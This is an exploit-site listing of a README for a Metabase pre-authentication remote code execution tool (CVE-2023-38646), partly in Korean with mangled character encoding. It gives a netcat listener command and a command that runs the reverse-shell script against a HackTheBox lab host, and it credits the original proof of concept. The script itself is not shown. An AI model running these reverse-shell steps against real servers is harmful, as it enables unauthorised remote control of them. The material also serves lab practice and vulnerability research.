Sploitus

Exploit for CVE-2023-38646

kitploit ยท 2026-08-27

Exploit Code

MARKDOWN40 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ASEPSAEPDIN-CVE-2023-38646
# CVE-2023-38646 - Metabase Pre-Auth RCE

![](https://img.shields.io/badge/CVSS:3.1%20Score%20-9.8%20CRITICAL-red) ![](https://img.shields.io/badge/Vulnerability%20Types-%20Remote%20Code%20Execution-blue)

* * *

> โš ๏ธ _๊ต์œก ๋ฐ ์Šน์ธ๋œ ๋ณด์•ˆ ์—ฐ๊ตฌ ๋ชฉ์ ์œผ๋กœ๋งŒ ์‚ฌ์šฉํ•˜์„ธ์š”_

## ์›๋ณธ Exploit ์ €์ž

์›๋ณธ PoC ์ž‘์„ฑ์ž securezeron์—๊ฒŒ ๊ฐ์‚ฌ๋“œ๋ฆฝ๋‹ˆ๋‹ค.

## ๋‹จ๊ณ„๋ณ„ ์•ˆ๋‚ด

  1. ๊ณต๊ฒฉ์ž ๋จธ์‹ ์—์„œ ๋ฆฌ์Šค๋„ˆ ์„ค์ •:

root@kitploit:~
         
         nc -nlvp 4444
         

  2. ๊ทธ๋Ÿฐ ๋‹ค์Œ, ๋‹ค์Œ ๋ช…๋ น ์‹คํ–‰:

root@kitploit:~
         
         python3 CVE-2023-38646-Reverse-Shell.py -h
         python3 CVE-2023-38646-Reverse-Shell.py --rhost http://data.analytical.htb/ --lhost 10.10.16.8 --lport 4444
         

![image](https://assets.kitploit.com/production/public/readmes/22886/2bffa39961d60b99295fb618bf4c8e1b1d7289b2bfc9861c39f7ca63bd484ccf.png)




## ํฌ๋ ˆ๋”ง

  * https://nvd.nist.gov/vuln/detail/CVE-2023-38646
  * https://medium.com/@starlox.riju123/hackthebox-analytics-metabase-rce-bd3421cba76d
  * https://www.youtube.com/watch?v=br7JZzcTDG0